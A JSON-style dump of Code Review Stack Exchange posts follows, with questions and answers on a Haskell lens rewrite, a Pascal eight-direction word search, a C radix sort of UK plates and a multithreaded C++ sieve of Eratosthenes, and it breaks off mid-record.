"body": "<p>You can use the lens library to remove the need for the <code>setList</code> function. The ix lens does this, giving read+write access to an element at an index. The type of this is:</p>\n\n<pre><code>ix :: Index m -> Traversal' m (IxValue m)\n</code></pre>\n\n<p>Or, for lists in particular:</p>\n\n<pre><code>ix :: Int-> Traversal' [a] a\n</code></pre>\n\n<p>Using the <code>.~</code> operator, the value of a lens can be set. So to remove need for the <code>setList</code> funtion, just use this:</p>\n\n<pre><code>applyToEveryPair2 :: ((a,a) -> [(a,a)]) -> [a] -> [[a]]\napplyToEveryPair2 f (xs) = do i<-[0..length xs - 1]\n j<-[0..length xs - 1]\n guard (i /= j)\n (x',y') <- f (xs !! i, xs !! j)\n return . (ix i .~ x') . (ix j .~ y') $ xs\n</code></pre>\n\n<p>The other thing to notice about your code is it will call every pair of elements twice: eg it will call the supplied function with the item at index 2 and 5, then with the items at indexes 5 and 2. I'm not sure if this is intended.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T11:01:09.493",
"Id": "47457",
"ParentId": "47005",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47457",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T15:34:44.947",
"Id": "47005",
"Score": "4",
"Tags": [
"haskell"
],
"Title": "replacing every pair in a list"
} | 47005 |
<p>I solved a problem which you can read about <a href="http://www.spoj.com/problems/EIGHT/" rel="nofollow">here</a>, but it gives me "time limit exceeded" even though it runs in 4 seconds. I really don't understand why.</p>
<p>I don't think my code can be any simpler, basically it has as many functions as there are solutions I think. At the start of my code I find the first letter matching the first letter of the word I am searching for, then when it finds it, it checks in 8 directions if it can make the whole word without going out of the crossword.</p>
<pre><code>program ideone;
var
kar:array[1..1000, 1..1000] of char;
konacno:int64;
i2,i3,n,xx,yy:integer;
s:string;
procedure trag(y:integer; x:integer; y1:integer; x1:integer; i:integer);
var
x2,y2:integer;
begin
x2:=x+x1;
y2:=y+y1;
while (x2<=n) and (x2>0) and (y2<=n) and (y2>0) do begin
if kar[y2,x2]=s[i+1] then
if i=length(s)-1 then
konacno:=konacno+1
else
trag(y2,x2,y1,x1,i+1);
x2:=x2+x1;
y2:=y2+y1;
end;
end;
begin
readln(n,s);
delete(s,1,1);
xx:=1;
yy:=1;
for i2:=1 to n do begin
for i3:=1 to n do
read(kar[i2,i3]);
readln();
end;
konacno:=0;
for i2:=1 to n*n do begin
if kar[yy][xx]=s[1] then begin
trag(yy,xx,-1,-1,1);
trag(yy,xx,-1,0,1);
trag(yy,xx,-1,1,1);
trag(yy,xx,0,1,1);
trag(yy,xx,1,1,1);
trag(yy,xx,1,0,1);
trag(yy,xx,1,-1,1);
trag(yy,xx,0,-1,1);
end;
xx:=xx+1;
if xx>n then begin
xx:=1;
yy:=yy+1;
end;
end;
writeln(konacno);
end.
</code></pre>
<p>If you have any tips please tell me, I am new to Pascal, so I don't know all the tricks for speeding up the program, and I don't want to use C or C++.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T16:33:31.083",
"Id": "82319",
"Score": "0",
"body": "Say your word to find is three characters long. Then you would not need to search to the right if you are less than three characters from the right edge of the array because you could not possibly find the rest of the word there. Apply that idea to the rest of the directions, and you will have somewhat less searching to do."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T16:35:54.947",
"Id": "82320",
"Score": "0",
"body": "Okay I will try now, also I have changed the program so at the start I find out if the work I am searching for is a palindrome, if it is, I cut down 4 procedures and multiply the final result by 2"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T18:30:44.240",
"Id": "82327",
"Score": "0",
"body": "5 edits but no one helps me hahaha"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:15:49.903",
"Id": "82339",
"Score": "2",
"body": "Please be patient. Reviews can come at any time (some days are slower than others), and there may not be too many people familiar with this language."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:21:46.537",
"Id": "82340",
"Score": "0",
"body": "To go off of @Jamal's point, pascal-script isn't that popular of a language, so not that many people will be able to review this code. That only increases review time."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:23:14.303",
"Id": "82341",
"Score": "0",
"body": "well code is understandable, so in that case I could use a C, C++ or Python code as well, but can't repost now..."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:26:26.893",
"Id": "82342",
"Score": "0",
"body": "If you can code this program in either of those languages, then you can post that for review instead. If not, then I'm afraid you'll just have to wait for someone familiar with this to come along."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T19:49:31.347",
"Id": "83281",
"Score": "0",
"body": "Does your solution find `4` for the last example, it would seems your algorithm would find `3` ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-01-31T04:30:53.783",
"Id": "143349",
"Score": "0",
"body": "You haven't defined the environment. After the program name declaration, write: `uses wincrt;` if you are on Windows or `uses crt;` if you are in a non-windows environment."
}
] | [
{
"body": "<p>First you can change those non-required letters to a specific character like '.'.</p>\n\n<p>Turning the 2D array into a string or array of byte. For example:</p>\n\n<pre><code>1234\n5678\n90ab\ncdef\n=>\nstring1: 1234\nstring2: 5678\nstring3: 90ab\nstring4: cdef\n</code></pre>\n\n<p>Remove '.' in these string so that later u can check faster.</p>\n\n<p>Also doing this with other rows, column, and oblique.</p>\n\n<p>Scan result in -> or <- direction only.</p>\n\n<p>Related algorithm you may find <a href=\"https://stackoverflow.com/questions/23034282/how-to-do-this-the-fastest-way\">here</a>.</p>\n\n<p>Moreover, you can omit some impossible cases such as:</p>\n\n<p>input:</p>\n\n<pre><code>8 aaaa\naaaaoooo\noooooooo\noooooooo\noooooooo\noooooooo\noooooooo\noooooooo\noooooooo\n</code></pre>\n\n<p>Find those which never touch required characters like the last three rows in this case and do not <strong>trag()</strong> with it.</p>\n\n<p>I suggest using this algorithm to scan it:</p>\n\n<p>For rows:</p>\n\n<pre><code>var \n ignore: array[1..1000, 1..1000] of boolean;\n counter: integer;\ncounter:=0;\nfor i:=1 to n do\n while j<=n do\n begin\n ignore[i, j]:=false;\n if kar[i, j] = '.' then\n begin\n count:=count+1;\n ignore[i, j]:=counter> length(s);\n break;\n end\n else\n counter:=0;\n end;\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-05-25T17:04:32.247",
"Id": "89330",
"Score": "0",
"body": "thank you for expanding this into a full answer, we appreciate all the users that contribute to CodeReview"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-05-25T16:20:58.537",
"Id": "51699",
"ParentId": "47007",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "9",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T16:08:45.290",
"Id": "47007",
"Score": "7",
"Tags": [
"performance",
"programming-challenge",
"pascal"
],
"Title": "Eight Directions Crossword"
} | 47007 |
<p>I am learning string algorithms and wrote this C example based on a Java example I found online. Any feedback relating to style, code clarity, whether it is generic enough to be re-used, interface, etc, etc would be very much appreciated.</p>
<pre><code>/*
Demonstration of least significant digit (LSD) radix sort of strings
Specifically UK vehicle registration numbers
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PLATELENGTH 7
#define ALPHABET 36
/* Characters must be uppercase or digits */
void lsd_string_sort(char* a[], const int length, int string_size) {
int R = ALPHABET;
int W = string_size;
const int N = length;
char id = 0;
char** aux = (char**)malloc(length * string_size);
for(int d = W-1; d >= 0; d--) {
int* count = (int*)calloc(R+1, sizeof(int));
/* whether character or digit */
id = (*(a[0]+d) >= '0' && *(a[0]+d) <= '9') ? '0' : 'A';
/* Compute frequency counts */
for(int i = 0; i < N; i++)
count[*(a[i]+d) - id + 1]++;
/* transform counts to indices */
for(int r = 0; r < R; r++)
count[r+1] += count[r];
/* distribute to temp array */
for(int i = 0; i < N; i++)
aux[count[(*(a[i]+d) - id)]++] = a[i];
/* copy back to original array */
for(int i = 0; i < N; i++)
a[i] = aux[i];
free(count);
}
free(aux);
}
int main() {
/* in real application would use re-sizing array */
char* plates[1000] = {0};
int arr[10] = {0};
char plate[16]; /* extra space just in case */
int n = 0;
printf("Please enter list of UK registration plates (skip spaces between registration numbers)\n");
while(scanf("%s", &plate) == 1) {
plates[n++] = strdup(plate);
}
printf("List before sorting\n");
for(int i = 0; i < n; i++)
printf("%s\n", plates[i]);
lsd_string_sort(&plates[0], n, PLATELENGTH);
printf("List after sorting\n");
for(int i = 0; i < n; i++)
printf("%s\n", plates[i]);
while(n > 0)
free(plates[--n]);
return 0;
}
</code></pre>
| [] | [
{
"body": "<ul>\n<li><p>This macro name is misleading:</p>\n\n<pre><code>#define ALPHABET 36\n</code></pre>\n\n<p>The alphabet consists of 26 letters, not 36. <em>But</em> in a CS context, this can be implied (in this case, it appears to include A-Z and 0-9).</p>\n\n<p><em>However</em>, this macro is storing the alphabet's <em>size</em>, not the alphabet itself. The name should clearly specify that. A more appropriate name could be <code>ALPHABET_LENGTH</code>.</p>\n\n<p>On another note, the other macro should be renamed to <code>PLATE_LENGTH</code>. Underscores are commonly used to separate each word in a macro.</p></li>\n<li><p>Avoid single-character variable names:</p>\n\n<pre><code>int R = ALPHABET;\nint W = string_size;\n</code></pre>\n\n<p>Based on the context (fortunately), I can tell that these hold sizes. Other than that, they are very unclear and could lead to maintenance problems at some point. Always give variables descriptive names, unless they're simple loop counters.</p></li>\n<li><p>You have the list-displaying code in <code>main()</code> twice. Why not make it a function? This will reduce the amount of code in <code>main()</code> and maintain DRY, making it clearer to read and to maintain.</p>\n\n<pre><code>void display(char list[], int n)\n{\n for (int i = 0; i < n; i++)\n printf(\"%s\\n\", plates[i]);\n}\n</code></pre>\n\n<p>You could keep the label outputs in <code>main()</code>, right before the function calls.</p></li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:24:22.923",
"Id": "82328",
"Score": "0",
"body": "To refute your first point: In most cs context the alphabet are all available characters, not only the letters. However, the name is still wrong as it is not the alphabet but the alphabet's size that is stored under this macro."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:26:39.893",
"Id": "82329",
"Score": "0",
"body": "@Nobody: I have figured that it included numbers as well. I'll edit in something about this."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:06:35.037",
"Id": "47012",
"ParentId": "47009",
"Score": "9"
}
},
{
"body": "<ol>\n<li><p>You can run into a buffer overflow when the user types in more than 15 characters. You should use <code>scanf(\"%15s\", &plate);</code> - Note that <code>scanf</code> will automatically add the null terminator (hence <code>15</code> instead of <code>16</code>).</p></li>\n<li><p>While it is accepted to use single letter variables for loops you have abused this extensively in your sorting routine. </p>\n\n<ul>\n<li><p>What is <code>a</code>, what is <code>length</code>, what is <code>string_size</code>? Just from reading the method (without reading <code>main</code>) it's very hard to figure out what the individual parameters are supposed to mean.</p></li>\n<li><p>Why is <code>length</code> <code>const</code> but <code>string_size</code> isn't?</p></li>\n<li><p>Why are you copying the parameters and <code>ALPHABET</code> into local variables which have short meaningless names?</p></li>\n</ul></li>\n</ol>\n\n<p>All in all the code is fairly clean, but you should de-obfuscate it a bit.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T10:12:50.773",
"Id": "82403",
"Score": "0",
"body": "I like the scanf text size restriction"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:06:49.247",
"Id": "47013",
"ParentId": "47009",
"Score": "6"
}
},
{
"body": "<p>I few items that I didn't see mentioned yet:</p>\n\n<ul>\n<li><p>You have an unused variable named <code>arr</code>.</p></li>\n<li><p>Your format specifies the type <code>char *</code>, but your argument has type <code>char (*)[16]</code></p>\n\n<blockquote>\n<pre><code>while(scanf(\"%s\", &plate) == 1) {\n</code></pre>\n</blockquote>\n\n<p>To fix it, remove the <code>&</code>.</p></li>\n<li><p>All you do in this loop is print a string, with no formatting.</p>\n\n<blockquote>\n<pre><code>for(int i = 0; i < n; i++)\n printf(\"%s\\n\", plates[i]);\n</code></pre>\n</blockquote>\n\n<p>Use <code>puts()</code> when you are only printing the string and not formatting it. As a bonus, you don't have to remember the newline (<code>\\n</code>) character.</p>\n\n<pre><code>for(int i = 0; i < n; i++) puts(plates[i]);\n</code></pre></li>\n<li><p>I am led to believe that you might be compiling your code as <a href=\"/questions/tagged/c%2b%2b\" class=\"post-tag\" title=\"show questions tagged 'c++'\" rel=\"tag\">c++</a> code.</p>\n\n<blockquote>\n<pre><code>char** aux = (char**)malloc(length * string_size);\n</code></pre>\n</blockquote>\n\n<p>Yes, it might be valid, but that line right there would be unacceptable when compiling as C code. <strong>You shouldn't be doing that</strong>.</p>\n\n<p><a href=\"http://david.tribble.com/text/cdiffs.htm\" rel=\"nofollow noreferrer\">Here is a <em>very</em> long list</a> of the incompatibilities between ISO C and ISO C++. Those are the reasons you compile C code, as C code.</p>\n\n<p>If I happen to be wrong in my assumption that you are compiling C code as C++ code, you still should <a href=\"https://stackoverflow.com/q/605845/1937270\">not be casting the results of <code>malloc()</code></a>.</p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:15:23.047",
"Id": "47019",
"ParentId": "47009",
"Score": "9"
}
},
{
"body": "<p>Your code would be a lot easier to understand if you renamed your variables. Don't do this just for others. Do it for yourself. If you look at this code a few months later, I bet you yourself will have trouble reading it. Rename the variables until the logic just flows. When the comments become pointless, you have succeeded (and then can drop the comments too).</p>\n\n<hr>\n\n<p>In addition to what others already pointed out, I would just point out some things you could simplify.</p>\n\n<p>Instead of these pointer arithmetics:</p>\n\n<pre><code>id = (*(a[0]+d) >= '0' && *(a[0]+d) <= '9') ? '0' : 'A';\ncount[*(a[i]+d) - id + 1]++;\naux[count[(*(a[i]+d) - id)]++] = a[i];\nlsd_string_sort(&plates[0], n, PLATELENGTH);\n</code></pre>\n\n<p>You could write more intuitively:</p>\n\n<pre><code>id = a[0][d] >= '0' && a[0][d] <= '9' ? '0' : 'A';\ncount[a[i][d] - id + 1]++;\naux[count[(a[i][d] - id)]++] = a[i];\nlsd_string_sort(plates, n, PLATELENGTH);\n</code></pre>\n\n<hr>\n\n<p>These initializations are pointless in your code:</p>\n\n<pre><code>char* plates[1000] = {0};\nint arr[10] = {0};\n</code></pre>\n\n<p>since you only access the elements of <code>plates</code> that you have assigned, always, from index 0 to <code>n</code>. And you never use <code>arr</code>. There are many practical cases when you have to initialize arrays to 0, but this is not one of them.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T23:18:09.580",
"Id": "82361",
"Score": "1",
"body": "I would be cautious with your last point you made. [While I think the advice is applicable here](http://stackoverflow.com/a/7976736/1937270), that may not always be the case. It's generally good practice to initialize your non-static variables when possible. Other than that you advice is pretty sound, +1."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:33:06.697",
"Id": "47021",
"ParentId": "47009",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47013",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T17:25:47.890",
"Id": "47009",
"Score": "15",
"Tags": [
"algorithm",
"c",
"strings",
"sorting",
"radix-sort"
],
"Title": "Least significant digit (LSD) radix sort of strings"
} | 47009 |
<p>For the first time, I tried to use threads by myself in order to implement a parallel <a href="http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes" rel="noreferrer">sieve of Eratosthenes</a>. The trick is that each time a prime is found, a thread is spawned to eliminate all the multiples of this prime number from the boolean vector (the one that tells whether a number is a prime or not). Here is my code:</p>
<pre><code>#include <cmath>
#include <functional>
#include <thread>
#include <vector>
// Invalidates the multiples of the given integer
// in a given boolen vector
template<typename Integer>
void apply_prime(Integer prime, std::vector<bool>& vec)
{
for (Integer i = prime*2u ; i < vec.size() ; i += prime)
{
vec[i] = false;
}
}
template<typename Integer>
auto sieve_eratosthenes(Integer n)
-> std::vector<Integer>
{
std::vector<bool> is_prime(n, true);
std::vector<std::thread> threads;
std::vector<Integer> res;
auto end = static_cast<Integer>(std::sqrt(n));
for (Integer i = 2u ; i <= end ; ++i)
{
// When a prime is found,
// * add it to the res vector
// * spawn a thread to invalidate multiples
if (is_prime[i])
{
res.push_back(i);
threads.emplace_back(apply_prime<Integer>,
i, std::ref(is_prime));
}
}
for (auto& thr: threads)
{
thr.join();
}
// Add the remaining primes to the res vector
for (Integer i = end+1u ; i < is_prime.size() ; ++i)
{
if (is_prime[i])
{
res.push_back(i);
}
}
return res;
}
</code></pre>
<p>The primes are added in two steps to the <code>res</code> vector: every prime \$ p \$ such as \$ p < \sqrt{n} \$ is added when the prime is found, before the corresponding thread is thrown. The other primes are added at the end the of the function. Here is an example <code>main</code>:</p>
<pre><code>int main()
{
auto primes = sieve_eratosthenes(1000u);
for (auto prime: primes)
{
std::cout << prime << " ";
}
}
</code></pre>
<p>I was pretty sure that I would get some problems due to parallelism, but for some reason, it seems to work. I got the expected results in the right order. Just to be sure, I would like to know whether my program is or correct or whether it has some threading issues that I couldn't see.</p>
<p><strong>Note:</strong> I used many of the ideas from the answer to improve the code and wrote <a href="https://codereview.stackexchange.com/q/47067/15094">a follow-up question</a>.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:03:39.330",
"Id": "82333",
"Score": "4",
"body": "Have you timed this? It would surprise me if a parallel sieve is faster because of the memory contention. The speed up you receive from cached memory over real memory seem more likely to give you a speed up (as you can't do as much local caching with threads as different threads may be on different cores and you need to keep pushing things backwards and forwards across caches and memory)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:06:26.677",
"Id": "82335",
"Score": "1",
"body": "@LokiAstari No I didn't time it. Actually, I didn't care at all about speed, I just wanted to write a multithread program and get it reviewed for the sole purpose of learning."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:12:19.817",
"Id": "82337",
"Score": "1",
"body": "My computer isn't even a multicore to start with. It would probably have troubles beating the cache-friendly sequential approach with threads."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T00:41:12.297",
"Id": "82373",
"Score": "3",
"body": "+1; parallelism in prime searching is a very interesting advanced idea & wonder if there is more scientific analysis of this somewhere...refs anyone? anyway note that the science of prime detection in general is highly advanced and theoretical and sieve of eratosthenes while respectable as a programming exercise is regarded by experts as basically a \"toy\" algorithm for the problem... my understanding [GNFS](http://en.wikipedia.org/wiki/General_number_field_sieve) is the leading/typical algorithm, wonder if it has been parallelized by anyone?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T05:12:47.397",
"Id": "82393",
"Score": "6",
"body": "@LokiAstari Actually if you precompute the primes up to sqrt(maxp), you can then partition the sieving space evenly between the processors and get no contention at all. The same trick works to make the sequential sieve algorithm much more cache-efficient."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T19:46:02.883",
"Id": "82448",
"Score": "0",
"body": "@NiklasB.: I am sure you can effectively paralyze the finding of primes. I think your comment is lacking any details and thus not worth commenting on. If you actually supplied the code then we can discuss further."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:53:20.280",
"Id": "82473",
"Score": "0",
"body": "@Loki I feel that my comment is already detailled enough that one could implement the algorithm using only the information in it. The idea is that each composite in the range [X, Y] has at least one prime factor <= sqrt(Y). More information can be found in the internet, for example [here](http://sweet.ua.pt/tos/software/prime_sieve.html)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:08:53.213",
"Id": "82479",
"Score": "1",
"body": "@NiklasB.: Its interesting that you think that one sentence written by you is the same as a whole page of detailed algorithms by somebody else? :-)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:14:54.477",
"Id": "82480",
"Score": "1",
"body": "@LokiAstari The algorithm there contains way more than is necessary for the implementation I have in mind. You just need a list of primes in the range 1..sqrt(maxp). That list can be computed using SoE (recursively with parallelization threshold or just sequentially using OPs algorithm). Then you divide the range [1..maxp] into evenly sized chunks of size maxp/p where p is the number of processors. You can process the chunks independently."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:32:25.150",
"Id": "82489",
"Score": "0",
"body": "@NiklasB.: English is a **very** imprecise language. Which is why we have programming languages and mathematics which can express the same meaning much more accurately and in a more compact form. So if you can't express the program in the comment section you definately can not express the same meaning in English in the same space. (unless what you are trying to express is exceedingly trivial and parallel programs are not trivial and have many issues that are not apparent in English because it lacks the context and a lot of definition). So even though you think you are explaining something ...."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:33:30.983",
"Id": "82490",
"Score": "0",
"body": "You are not. Because there are so many assumptions being left unsaid. The only way to express them is to write the code. After that we can comment on its validity as a solution."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:35:52.490",
"Id": "82491",
"Score": "0",
"body": "@LokiAstari Please enlighten me what assumption is left unsaid here, I'm willing to clarify but unwilling to write code (because that's a lot more work than describing an idea in an abstract way)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:36:57.540",
"Id": "82493",
"Score": "0",
"body": "@NiklasB.: How can I know what assumptions you have made. I can't read your mind."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T21:37:43.693",
"Id": "82494",
"Score": "1",
"body": "@LokiAstari Obviously it seems impossible to understand the algorithm as I expressed it, so there must be a particular part about my explanation that is not easy to follow"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2016-09-03T22:50:20.887",
"Id": "262974",
"Score": "0",
"body": "@NiklasB. a. not `1..maxp`; `sqrt(maxp)..maxp`, as we already have primes below `sqrt(maxp)`. b. dividing into *equal-sized* chunks will create skewed workload distribution because lower chunks need fewer primes (only up to `sqrt(toplimit(chunk))` )."
}
] | [
{
"body": "<p>As you are correctly assuming there are multiple threading related issues with your code, but lets tease you and start with the usual suspects.</p>\n\n<h1>Naming</h1>\n\n<p>The name <code>apply_prime</code> is misleading and inexpressive.\nNeither does the function really require a prime nor does apply do it justice.\nYou should name it something along the lines: <code>strike_out_multiples</code> or something similar.</p>\n\n<h1>Efficiency</h1>\n\n<p>Your loop can be twice as fast by doing steps of two instead of one.</p>\n\n<p>And now for the main act:</p>\n\n<h1>Thread safety</h1>\n\n<p>I am no expert here but I can spot at least two problems:</p>\n\n<p>Ordering:</p>\n\n<p>Nothing prevents the system from \"favoring\" your main thread and letting all others run after the main thread is hitting the <code>join</code> loop. This results in wrong results as the mainthread plowed through the completely <code>true</code> vector before anyone could tell it that for example 4 is not prime.</p>\n\n<p>Parallel writes:</p>\n\n<p>This might be a bit of a corner case and not a problem anymore but at least in the old standard <code>std::vector<bool></code> was a specialization that used only one bit per value. While this saves you some space it comes with the cost of actually accessing 8 bits when only working on one. This means that two threads might well be working on different bits but in the same byte. Consider this:</p>\n\n<p>Thread 1 writes false to bit 4 while thread 2 writes false to bit 6. Both are located in byte 0. Now both start out with reading the initial value of the byte, say (true, true, true, false, true, true, true, true) and stores them! Now one of the two threads will write its value later than the other and overwrites the false of the other one -> lost update.</p>\n\n<p>Maybe this can even happen with byte sized booleans as some architectures do not allow for only byte-wise access but only word wise (which results in the same problem, only with wider sizes).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:55:21.593",
"Id": "82332",
"Score": "0",
"body": "I wanted to make `apply_prime` a lambda, but thought multi-lines lambda were not allowed. Actually, they are allowed and a lambda is fine."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:11:53.290",
"Id": "82417",
"Score": "1",
"body": "`std::vector<bool>` is still a problem"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:46:52.013",
"Id": "82467",
"Score": "0",
"body": "@BenVoigt Fortunately, `std::vector<std::atomic<bool>>` is fine."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T19:49:19.270",
"Id": "47017",
"ParentId": "47016",
"Score": "23"
}
},
{
"body": "<p>Generally it's nice, well-structured code, but it relies on a promise that might not be kept. </p>\n\n<p>Specifically, simultaneous access to different elements in <code>std::vector<bool></code> <em>is not guaranteed to be thread-safe</em> because storage bytes may be shared by multiple bits in the <code>vector</code>.</p>\n\n<p>Consider an alternative way to slice things. Each thread could be responsible for its own section of the boolean array. As primes become known, they could be dispatched to each of the threads for simultaneous elimination from the corresponding section. </p>\n\n<p>It might also be nice to have a tuning parameter in which the the size of the subarray is balanced against the cost of spawning another thread. </p>\n\n<p><strong>Edit:</strong>\nI modified <code>main</code> as follows:</p>\n\n<pre><code>int main()\n{\n auto primes = sieve_eratosthenes(20000000u);\n\n long long s=0; \n for (auto prime: primes)\n s += prime;\n std::cout << s << '\\t' << primes.size() << std::endl;\n}\n</code></pre>\n\n<p>I then ran the code four times and got this result:</p>\n\n<pre><code>12273796368896 1270814\n12273126258541 1270843\n12273106282821 1270780\n12272824476679 1270794\n</code></pre>\n\n<p>So either the number of prime numbers is actually changing from iteration to iteration (which mathematicians generally consider to be an unlikely possibility!) or the thread contention issue is manifesting itself. The correct numbers are:</p>\n\n<pre><code>12272577818052 1270607\n</code></pre>\n\n<p><strong>Edit 2:</strong> I ran across <a href=\"http://home.imf.au.dk/himsen/Project1_parallel_algorithms_Torben.pdf\">this paper</a> which nicely explains a number of possible approaches to parallelization of the Sieve of Eratosthenes algorithm.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T21:32:10.853",
"Id": "82346",
"Score": "0",
"body": "I also just attempted to have it calculate all of the primes up to 200000000 and it aborted on my machine after it ran out of threads, throwing an instance of `std::system_error` with `what()` = \"Resource temporarily unavailable.\""
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T21:59:13.220",
"Id": "82351",
"Score": "1",
"body": "It probably boils down to this problem: threads are spawn on *supposed* prime numbers. That means that depending on the order of the threads, `4` may be considered prime, be added to `res` and spawn a thread. While having threads spawned for non-prime numbers is not a problem (`4` assigns `false` to places where `2` would also have assigned `false`), the `push_back` to `res` is probably what adds the wrong elements to the table."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:00:34.057",
"Id": "82352",
"Score": "1",
"body": "Could you try to remove the `push_back` and have the last loop go from `2u` to `is_prime.size()` and check again? Also, replace the `vector<bool>` by a `vector<unsigned>`, it *should* be better :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:07:29.283",
"Id": "82354",
"Score": "0",
"body": "Because I'm parsimonious, I made it a `vector<char>` but yes, it works consistently now."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:09:42.823",
"Id": "82355",
"Score": "1",
"body": "You might want to read [this paper](http://home.imf.au.dk/himsen/Project1_parallel_algorithms_Torben.pdf) for more ideas on how to parallel-ize this algorithm."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:20:04.113",
"Id": "82357",
"Score": "0",
"body": "I would have never guessed that such a paper existed. You should definitely provide the link directly in your answer!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T22:27:02.107",
"Id": "82358",
"Score": "1",
"body": "That said, even if the results are now consistent, I am pretty sure that useless threads are still spawned. However, they now are only useless and not harmful."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:25:08.090",
"Id": "47020",
"ParentId": "47016",
"Score": "22"
}
},
{
"body": "<p>Ignoring the memory problems with cache invalidation (which will slow the code down).</p>\n\n<p>Creating a thread is relatively expensive (as you have to allocate a stack and maintain it). So rather than creating and destroying threads it is better to maintain a thread pool and reuse the threads.</p>\n\n<p>The number of threads to put in the pool should be slightly larger than the total number of cores you have (as a rule of thumb * 1.x (where x is in the range 2=>5) is the number of threads you should put in the pool).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T21:53:32.173",
"Id": "82348",
"Score": "1",
"body": "It seems that I totally have to learn about thread pools :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-07-15T14:26:29.910",
"Id": "177380",
"Score": "1",
"body": "I usually prefer `n+1` where `n` is the number of processors. Possibly `n+2` in IO heavy cases."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-12T20:44:38.360",
"Id": "47023",
"ParentId": "47016",
"Score": "16"
}
},
{
